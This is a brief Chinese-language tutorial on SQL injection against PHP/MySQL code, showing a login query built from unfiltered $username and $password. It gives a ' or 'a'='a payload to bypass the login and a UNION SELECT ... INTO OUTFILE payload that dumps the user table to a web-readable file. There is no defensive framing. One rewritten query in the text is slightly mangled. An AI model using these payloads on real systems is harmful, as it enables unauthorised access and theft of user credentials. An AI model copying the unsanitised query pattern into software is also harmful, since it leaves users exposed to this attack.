代碼:
$conn=sql_connect($dbhost, $dbuser, $dbpswd, $dbname);
$password = md5($password);
$q = "select id,group_id from $user_table where username='$username' and password='$password'";
$res = sql_query($q,$conn);
$row = sql_fetch_row($res);
$q = "select id,group_id from $user_table where username='$username' and password='$password'"中
$username 和 $password 沒過濾, 很容易就繞過。
對於select * from $user_table where username='$username' and password='$password'這樣的語句改造的方法有:
構造1(利用邏輯運算):$username=' or 'a'='a $password=' or 'a'='a
相當於sql語句:
select * from $user_table where username= or 'a'='a' and password= or 'a'='a'
構造1:利用 Select * FROM table INTO OUTFILE '/path/file.txt'(要求mysql有file許可權,注意在win系統中要絕對路徑,如:c://path//file.txt )。把所查詢的內容輸入到file.txt,然後我們可以通http://ip/path/file.txt來訪問得到查詢的結果。上面的我們可以這樣構造$forum_id:
$forum_id=' union select * from user_table into outfile '/path/file.txt'
以下:
$q = "select name,belong_id,moderator,protect_view,type_class,theme_id,topic_num,faq_num,cream_num,recovery_num,post_num from $type_table where id='$forum_id' union select * from user_table into outfile '/path/file.txt'";